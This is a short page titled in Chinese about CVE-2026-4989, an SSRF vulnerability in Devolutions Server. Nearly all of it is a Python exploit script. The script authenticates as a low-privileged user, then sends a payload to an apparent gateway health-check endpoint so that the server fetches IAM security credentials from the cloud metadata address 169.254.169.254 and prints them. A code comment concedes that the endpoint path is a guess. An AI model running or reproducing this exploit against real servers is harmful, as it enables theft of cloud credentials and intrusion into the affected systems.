CVE-2026-4989：Devolutions Server SSRF漏洞

import requests # Configuration target_host = "https://example-devolutions-server.com" username = "low_priv_user" password = "user_password" def exploit_ssrf(): session = requests.Session() # Step 1: Authenticate as a low-privileged user print("[*] Attempting to login...") login_url = f"{target_host}/api/auth/login" login_data = { "username": username, "password": password } try: resp = session.post(login_url, json=login_data, verify=False) if resp.status_code != 200: print(f"[-] Login failed: {resp.status_code}") return print("[+] Login successful") except Exception as e: print(f"[-] Error during login: {e}") return # Step 2: Send malicious payload to Gateway Health Check # Targeting internal metadata service (common SSRF target) internal_target = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # The vulnerable endpoint might vary, assuming a REST API structure based on description health_check_url = f"{target_host}/api/v1/gateway/healthcheck" payload = { "url": internal_target } print(f"[*] Sending SSRF payload to {health_check_url} targeting {internal_target}") try: exploit_resp = session.post(health_check_url, json=payload, verify=False) print(f"[+] Server responded with status: {exploit_resp.status_code}") print("[+] Response content:") print(exploit_resp.text) except Exception as e: print(f"[-] Error sending exploit payload: {e}") if __name__ == "__main__": exploit_ssrf()